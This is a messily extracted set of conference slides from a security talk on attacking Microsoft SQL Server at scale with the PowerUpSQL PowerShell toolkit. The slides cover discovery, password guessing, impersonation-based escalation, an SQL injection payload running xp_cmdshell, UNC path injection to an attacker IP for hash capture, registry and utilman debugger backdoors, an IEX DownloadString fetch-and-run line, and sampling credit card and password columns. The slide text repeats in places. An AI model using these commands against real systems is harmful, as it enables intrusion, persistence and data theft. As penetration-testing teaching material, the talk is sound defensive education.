which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 6: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

PowerUpSQL

PowerUpSQL Overview Project GoalsProject Goals (Get-Abilities)

Scalability via runspace threading Flexibility via pipeline support

ps objects and data tables Portability

o No SMO dependancieso Net Framework librarieso PowerShell v2 compliant (in theory)o Single file

Functional Goals Discover SQL Servers from different attacker perspectives Inventory SQL Servers quickly Audit SQL Servers for common insecure configurations Escalate privileges quickly on SQL Servers Support authentication using SQL Login or Windows Credential

PowerUpSQL Overview Functions

Primary Attack Functions Invoke-SQLDumpInfo Invoke-SQLAudit Invoke-SQLEscalatePriv Invoke-SQLOsCmd

httpsgithubcomNetSPIPowerUpSQLwikiCurrently about 60 Functions

PowerUpSQL Overview Where can I get it

GithubhttpsgithubcomnetspiPowerUpSQL

PowerShell GalleryhttpswwwpowershellgallerycompackagesPowerUpSQL

PowerUpSQL Overview How do I install it

GithubImport-Module PowerUpSQLpsd1

IEX(New-Object SystemNetWebClient)DownloadString(httpsrawgithubusercontentcomNetSPIPowerUpSQLmasterPowerUpSQLps1)

Execution policy work aroundshttpsblognetspicom15-ways-to-bypass-the-powershell-execution-policy

PowerShell GalleryInstall-Module -Name PowerUpSQL

SQL ServerBasics

SQL Server BasicsWhat is SQL Server

A database platform An application A set of Windows services Each instance has its own set of

services

SQL Server Basics Account TypesAccount Types

Windows Accountso Used to logino Mapped to SQL Server login

SQL Server Loginso Used to logino Mapped to database account

Database Userso Used to access databases

SQL Server Basics Common RolesImportant SQL Server Roles

Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group

but in SQL Server

Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but

in SQL Server

Finding SQL Servers

Find SQL Servers TechniquesAttacker Perspective Attack Technique

Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources

Local User Services Registry entries

Domain User Service Principal Names Azure Portal PowerShell Modules

Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function

Unauthenticated Get-SQLInstanceFile

Unauthenticated Get-SQLInstanceUDPScan

Local User Get-SQLInstanceLocal

Domain User Get-SQLInstanceDomain

Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql

EscalatingPrivileges

Unauthenticated Domain User to SQL Login

Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers

Attacker Perspective Attack Technique

Unauthenticated Dictionary attacks using common user names and passwords

Unauthenticated Default passwords based on the SQL Server instance names

Local Windows or ADS Domain Account

Attempt to login using the current account

Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins

Attack Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Get-SQLServerLoginDefaultPw

Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Testing Login Access PowerUpSQL CMDs

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

